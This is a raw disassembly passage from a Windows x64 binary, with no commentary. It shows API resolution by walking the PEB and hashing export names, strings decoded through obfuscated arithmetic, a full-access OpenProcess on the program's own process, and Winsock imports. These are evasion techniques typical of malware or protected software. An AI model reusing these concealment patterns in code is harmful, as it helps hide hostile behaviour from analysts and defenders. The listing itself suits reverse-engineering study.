movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e579f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e5791
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e5780
cmp r8d, esi
jne 0x1401e5872
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401e5872
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e5872
mov r11d, dword [r10 + 0x20]
mov r13d, 1
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e57f9
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401e57ee
cmp edx, r12d
je 0x1401e580f
test r9d, r9d
jne 0x1401e57d9
jmp 0x1401e5872
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401e5889
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401e5889
mov eax, 0x811c9dc5
mov esi, eax
mov r12d, eax
jmp 0x1401e5851
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401e5843
jmp 0x1401e5866
movsx eax, al
xor eax, r12d
imul r12d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401e5859
mov rdi, qword [r14]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r14
je 0x1401e5886
cmp qword [rdi + 0x30], rax
jne 0x1401e574f
mov rdx, rax
mov qword [0x1404dbc28], rdx
mov rcx, qword [0x1404db4f0]
call rdx
mov rcx, qword [0x1404db4e8]
call fcn.140245ff0
mov rcx, qword [0x1404db4f0]
call fcn.140245ff0
mov rcx, qword [0x1404db4e8]
call fcn.1402446f0
mov rcx, qword [0x1404db4f0]
call fcn.1402446f0
mov r15d, 1
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1ca0]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x640], 0xab
mov byte [rbp + 0x641], 0xa3
mov byte [rbp + 0x642], 0x80
mov byte [rbp + 0x643], 0x9a
mov byte [rbp + 0x644], 0xf5
mov byte [rbp + 0x645], 0xf3
mov byte [rbp + 0x646], Ordinal_143
mov byte [rbp + 0x647], 0xfe
mov byte [rbp + 0x648], 0xf7
mov byte [rbp + 0x649], 0xf0
mov byte [rbp + 0x64a], 0x88
mov byte [rbp + 0x64b], __WSAFDIsSet
mov byte [rbp + 0x64c], 0xed
mov byte [rbp + 0x64d], 0xf4
mov byte [rbp + 0x64e], 0xf4
mov byte [rbp + 0x64f], 0xfc
mov byte [rbp + 0x650], 0x85
mov byte [rbp + 0x651], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x652], 0xca
mov byte [rbp + 0x653], 0xf7
mov byte [rbp + 0x654], 0xde
mov byte [rbp + 0x655], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x656], 0x87
mov byte [rbp + 0x657], 0x85
mov byte [rbp + 0x658], 0xf5
mov byte [rbp + 0x659], 0x83
mov byte [rbp + 0x65a], 0x81
mov byte [rbp + 0x65b], 0xff
mov byte [rbp + 0x65c], Ordinal_217
mov byte [rbp + 0x65d], Ordinal_143
mov byte [rbp + 0x65e], 0xf7
mov byte [rbp + 0x65f], Ordinal_211
mov byte [rbp + 0x660], 0x9d
mov byte [rbp + 0x661], 0xea
mov byte [rbp + 0x662], 0x9a
mov byte [rbp + 0x663], 0xef
mov byte [rbp + 0x664], Ordinal_211
mov byte [rbp + 0x665], 0x9c
mov byte [rbp + 0x666], 0x87
mov byte [rbp + 0x667], __WSAFDIsSet
mov byte [rbp + 0x668], reloc.WS2_32.dll_ntohl
xor eax, eax
mov dword [rbp + 0x669], eax
mov word [rbp + 0x66d], ax
mov byte [rbp + 0x66f], al
movabs rsi, 0x8469be116195eb1
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x30
jae 0x1401e654f
movzx r8d, byte [rbp + r9 + 0x640]
mov rdx, r8
cmp rdi, r9
ja 0x1401e6546
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401e5a7b
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x29
jmp 0x1401e5aa8
je 0x1401e64c5
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401e6440
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401e6413
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401e63c8
cmp r10, r9
ja 0x1401e653d
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x1401e5adb
movabs rdx, 0xadcac976d014c485
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x5d
jmp 0x1401e5cf2
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401e637b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401e635b
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401e6338
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401e631a
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401e6011
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401e5ff0
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1401e5fcd
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401e5fa7
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401e5f86
lea rcx, [r10 + 5]
cmp rdi, rcx
je 0x1401e5f63
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1401e5f3d
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401e5f1c
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x1401e5ef9
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401e5ed3
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1401e5b1c
mov rdi, rcx
lea r10, [rcx + 0x20]
lea rax, [r10 + 0x200]
cmp rcx, rax
jb 0x1401e651a
lea rax, [r10 + 4]
cmp rcx, rax
jb 0x1401e64f7
lea rax, [r10 + 0x80]
cmp rcx, rax
jb 0x1401e5d1c
lea rax, [r10 + 3]
cmp rcx, rax
jb 0x1401e5cf9
lea rax, [r10 + 0x64]
cmp rcx, rax
jb 0x1401e5cd6
lea rax, [r10 + 2]
cmp rcx, rax
jb 0x1401e5eb2
lea rax, [r10 + 0x42]
cmp rcx, rax
jb 0x1401e5e91
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x1401e5e70
lea rax, [r10 + 0x40]
cmp rcx, rax
jb 0x1401e5e45
lea rax, [r10 + 0x2a]
cmp rcx, rax
jb 0x1401e5b1c
lea rdi, [r10 + 6]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x1401e5e31
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x1401e5e10
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x1401e5def
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401e5ddb
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401e5db8
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1401e5d97
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x1401e5d83
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401e5d60
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401e5d3f
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401e5b1c
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x7a]
jmp 0x1401e5b1c
movabs rdx, 0x7e56a336ffc66a1b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x43
add bl, dl
jmp 0x1401e5b0f
movabs rdx, 0x6dc96b74d393acb9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xf
add bl, dl
jmp 0x1401e5aa8
movabs rdx, 0x5d3c33b2a760ef57
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x61
add bl, dl
jmp 0x1401e5a4d
movabs rdx, 0x6e564bb680a62428
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x1401e6397
movabs rcx, 0x5dc913f4547366c6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6a
jmp 0x1401e63bd
movabs rdx, 0x4d3bdc322840a964
mov ecx, Ordinal_35
jmp 0x1401e5fb6
movabs rdx, 0x3caea46ffc0dec02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xe
jmp 0x1401e63e4
movabs rcx, 0x2c216cadcfdb2ea0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x1401e640e
movabs rdx, 0x1b9434eba3a8713e
mov ecx, Ordinal_41
jmp 0x1401e5f4c
movabs rdx, 0xb06fd297775b3dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x1401e6313
movabs rdx, 0xfa79c5674b42f67a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x1401e5f15
movabs rdx, 0xe9ec8da51f103918
mov ecx, Ordinal_45
jmp 0x1401e5ee2
movabs rcx, 0xc08b823fb0915fa3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x75
mov byte [rbp + r9 + 0x640], bl
jmp 0x1401e64ef
movabs rdx, 0xaffe4a7d845ea241
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x39
jmp 0x1401e60a5
movabs rdx, 0x9f7112bb582be4df
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x19
jmp 0x1401e606d
movabs rdx, 0x8ee3daf92bf9277d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6b
jmp 0x1401e6031
movabs rdx, 0x12c0b8c8e07c9b1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e64e0
movabs rdx, 0x2338106b449ddbc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
add bl, dl
jmp 0x1401e648e
movabs rdx, 0xf1a649448817205a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x76
jmp 0x1401e6313
movabs rdx, 0xe11911825be462f8
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e642e
movabs rcx, 0xd08bd9c02fb1a596
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x1a
jmp 0x1401e640e
movabs rdx, 0xbffea1fe037ee834
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x1401e63e4
movabs rdx, 0xaf716a3bd74c2ad2
mov ecx, reloc.WLDAP32.dll_Ordinal_33
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e63c0
movabs rcx, 0x9ee43279ab196d70
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x1401e63bd
movabs rdx, 0x8e56fab77ee6b00e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x62
jmp 0x1401e6397
lea rax, [r10 + 0x2a]
cmp rdi, rax
jae 0x1401e60d8
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x29
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x42
je 0x1401e62ef
lea rax, [r10 + 0x1000]
cmp rdi, rax
jbe 0x1401e618e
movabs rdx, 0xf8d324a2440b902d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3b
add bl, dl
cmp rdi, 0x5a
jae 0x1401e62c6
lea rax, [r10 + 5]
cmp rdi, rax
jbe 0x1401e623e
movabs rdx, 0xa69dee19142054b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0xa
jb 0x1401e5e63
movabs rdx, 0x4c221baece1bba86
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x54]
jmp 0x1401e6399
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e6104
movabs rcx, 0x5b9592eda029890a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x1401e64e0
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401e6131
movabs rdx, 0x7cb00271f88f03ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401e6313
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401e615e
movabs rdx, 0x9dca71f650f47e92
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r15d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e640e
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401e6033
movabs rcx, 0xbee4e17aa959f956
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5a
jmp 0x1401e63c0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e61b8
movabs rdx, 0x9605c64703e4d8f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x17
jmp 0x1401e6397
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401e61e4
movabs rcx, 0x19ed94269c710af1
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x69
jmp 0x1401e63bd
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401e620e
movabs rdx, 0x3b0803aaf4d685b5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0xd
jmp 0x1401e63e4
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401e606f
movabs rcx, 0x8dca1a75d1d4389f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x59
jmp 0x1401e64e0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e625b
movabs rdx, 0xb72b25db40531214
mov ecx, Ordinal_60
jmp 0x1401e5ee2
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401e6278
movabs rdx, 0xd845955f98b88cd8
mov ecx, ntohl
jmp 0x1401e611c
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401e6295
movabs rdx, 0xe8d2cd21c4eb4a3a
mov ecx, gethostname
jmp 0x1401e5f4c
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401e60a7
movabs rdx, 0x3b94e3eca1e8fd24
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401e6397
movabs rdx, 0x5caf5370fa4e77e8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x640]
sub bl, al
sub bl, 0x58
add bl, r8b
jmp 0x1401e63e4
movabs rdx, 0x6d3c8b332681354a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x640]
sub bl, 6
add bl, dl
jmp 0x1401e645e
movabs rdx, 0x21a74fc60577f233
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x65
jmp 0x1401e6313
movabs rcx, 0x8ce041ad12776f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 9
jmp 0x1401e640e
movabs rcx, 0xdf7270bd54acfcab
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x53
jmp 0x1401e63c0
movabs rdx, 0xbe580138fc4781e7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x51
add bl, dl
movabs rcx, 0x5468b78fe4351937
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x7f
add cl, r8b
mov byte [rbp + r9 + 0x640], cl
add r10, r15
sub r9, r15
jmp 0x1401e64ef
movabs rdx, 0x6b95ea6e1f49cefd
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x15
add bl, dl
movabs rdx, 0x64f5ef521067d699
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x2f
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x640], cl
add rdi, r10
jmp 0x1401e642e
movabs rcx, 0x4a7b7ae9c6e45439
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x71
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401e64ef
mov r8, rdx
movabs rcx, 0x39ee43279ab196d7
add rcx, r9
and dl, cl
add dl, dl
mov bl, r8b
sub bl, dl
add bl, 0x1f
add bl, cl
movabs rcx, 0x758327143c9a93fb
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x23
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x640], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x7dc9c2f552b3f2ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x640], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401e64e0
movabs rcx, 0x18d3d3a3424c1c13
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x7b
movzx eax, byte [rbp + r9 + 0x640]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401e5a3a
movabs rcx, 0x4caefbf07b2e31f5
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x4d
jmp 0x1401e5a35
movabs rcx, 0x3c21c42e4efb7493
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 5
jmp 0x1401e5a25
lea rdx, [rbp + 0x14ba52c]
jmp 0x1401e6556
lea rdx, [rbp + 0x12503dd]
jmp 0x1401e6556
lea rdx, [rbp + 0x640]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rcx, [rbp + 0x1ca0]
call fcn.14009dc50
nop
mov r8, qword [0x1404db508]
mov rdx, qword [0x1404db500]
sub r8, rdx
lea rcx, [rbp + 0x1ca0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1ca0]
call fcn.14024e690
call fcn.140040980
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x1404db4c0], eax
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1404db4b8], rax
mov r13d, 0x31a98fee
cmp rax, 0xffffffffffffffff
jne 0x1401e8ec9
mov r12, qword [0x1404dbbb8]
xor eax, eax
test r12, r12
jne 0x1401e674a
mov esi, eax
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e6652
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e6644
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e6633
cmp r8d, esi
jne 0x1401e6726
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401e6726
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401e6726
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e66a6
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401e669b
cmp edx, r14d
je 0x1401e66bc
test r9d, r9d
jne 0x1401e6686
jmp 0x1401e6726
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r12d, dword [r8 + rdx*4]
add r12, rbx
cmp r12, r11
jbe 0x1401e673d
lea rcx, [rax + r11]
cmp r12, rcx
jae 0x1401e673d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r12]
cmp al, 0x2e
je 0x1401e6718
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r12, rdx
jmp 0x1401e66f3
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r12, rdx
mov al, byte [r12]
test al, al
jne 0x1401e670b
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e673a
cmp qword [rdi + 0x30], rax
jne 0x1401e6602
mov r12, rax
mov qword [0x1404dbbb8], r12
mov r15d, 1
mov byte [rbp + 0x420], Ordinal_143
mov byte [rbp + 0x421], Ordinal_200
mov byte [rbp + 0x422], 0x78
mov byte [rbp + 0x423], Ordinal_200
mov byte [rbp + 0x424], WSASetLastError
mov byte [rbp + 0x425], 0xc1
mov byte [rbp + 0x426], WSASetLastError
mov byte [rbp + 0x427], Ordinal_211
mov byte [rbp + 0x428], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x429], Ordinal_211
mov byte [rbp + 0x42a], 0x63
mov byte [rbp + 0x42b], 0xcb
mov byte [rbp + 0x42c], 0xca
mov byte [rbp + 0x42d], 0xc9
xor eax, eax
mov qword [rbp + 0x42e], rax
mov word [rbp + 0x436], ax
mov byte [rbp + 0x438], al
movabs rsi, 0x2b4df89b53ec8761
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x19
jae 0x1401e737f
movzx r8d, byte [rbp + r9 + 0x420]
mov rdx, r8
cmp rdi, r9
ja 0x1401e7376
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401e6826
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x59
jmp 0x1401e6846
je 0x1401e72f5
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401e72c5
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401e72a0
cmp r10, r9
ja 0x1401e736d
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x1401e6879
movabs rdx, 0x8d6564bde2671af5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x4d
jmp 0x1401e6aaa
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401e725b
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401e7239
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401e7217
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401e718f
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401e7170
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401e6dd3
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401e6daf
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401e6d8d
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1401e6d6a
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401e6d44
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x1401e6d30
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1401e6d0e
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401e6ce8
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401e6cc4
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401e6ca1
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401e68c7
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 0x80]
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1401e734a
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x1401e7327
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401e6ad4
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x1401e6ab1
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x1401e6a8e
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x1401e6c80
lea rax, [r10 + 0x64]
cmp rdi, rax
jb 0x1401e6c5f
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x1401e6c3e
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401e6c13
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401e68c7
lea rdi, [r10 + 8]
lea r10, [rdi + 1]
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401e6bf0
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x1401e6bcf
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x1401e6bbb
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x1401e6b98
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1401e6b75
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x1401e6b54
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x1401e6b2e
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401e6b0b
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x1401e6af7
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401e68c7
lea rdi, [r10 + 9]
lea r10, [rdi + 2]
jmp 0x1401e68c7
movabs rdx, 0x8355fc56916d81ab
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x53
add bl, dl
jmp 0x1401e68ba
movabs rdx, 0x2cba0b1fe99472e9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5f
add bl, dl
jmp 0x1401e6846
movabs rdx, 0xd61e19e941bb6427
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x11
add bl, dl
jmp 0x1401e67f8
movabs rdx, 0x6b2b25ef1338d7a8
mov ecx, 0x34
jmp 0x1401e6dbe
movabs rcx, 0x148f34b86b5fc8e6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
jmp 0x1401e72bd
movabs rdx, 0xbdf34381c386ba24
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e72c0
movabs rdx, 0x6757524b1badab62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401e7118
movabs rcx, 0x10bb611473d49ca0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
